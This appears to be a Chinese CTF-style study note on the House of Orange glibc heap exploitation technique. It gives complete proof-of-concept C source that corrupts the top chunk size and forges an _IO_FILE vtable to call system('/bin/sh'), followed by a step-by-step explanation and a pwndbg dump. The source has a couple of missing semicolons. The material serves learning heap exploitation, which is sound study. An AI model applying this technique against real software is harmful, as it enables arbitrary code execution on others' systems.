1利用方式
brk:对小块内存(小于 128K),C 标准库使用 brk() 来分配,也就是通过移动堆顶的位置来分配内存。这些内存释放后并不会立刻归还系统,而是被缓存起来,这样就可以重复使用。
2源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000)
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
3用处
House of Orange是一种用来应对heap题中没有free的情况的方法,通过把top chunk的size改小,然后申请一个大于topchunk的size的chunk来把旧的top chunk放入bin中(可以是fastbin,也可以是unsortedbin),然后通过修改unstored进行攻击
p1 = malloc(0x400-16);
申请一个大小为0x400的堆块
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
这里就是修改top chunk的大小,此时再申请一个堆块
p2 = malloc(0x1000);
就会将原来的top chunk free到unstored chunk中然后计算io list all的偏移值,_IO_list_all 跟 unsortedbin 的偏移是 0x9a8
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
修改bk指针的指向位置到io_list_all
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
修改内容为bin sh,0x61 是因为这个大小属于 smallbin[4],并且它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
然后后面有一个检查:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
_IO_OVERFLOW 改为 system 函数的地址
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
然后io里
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = 0xfbad2086,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
把 io_list_all 的 vatble 改为我们想让他找的那个 jump_table
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
最后malloc(10),通过unstored attack进行攻击
这里的触发具有一定概率,1/2的可能性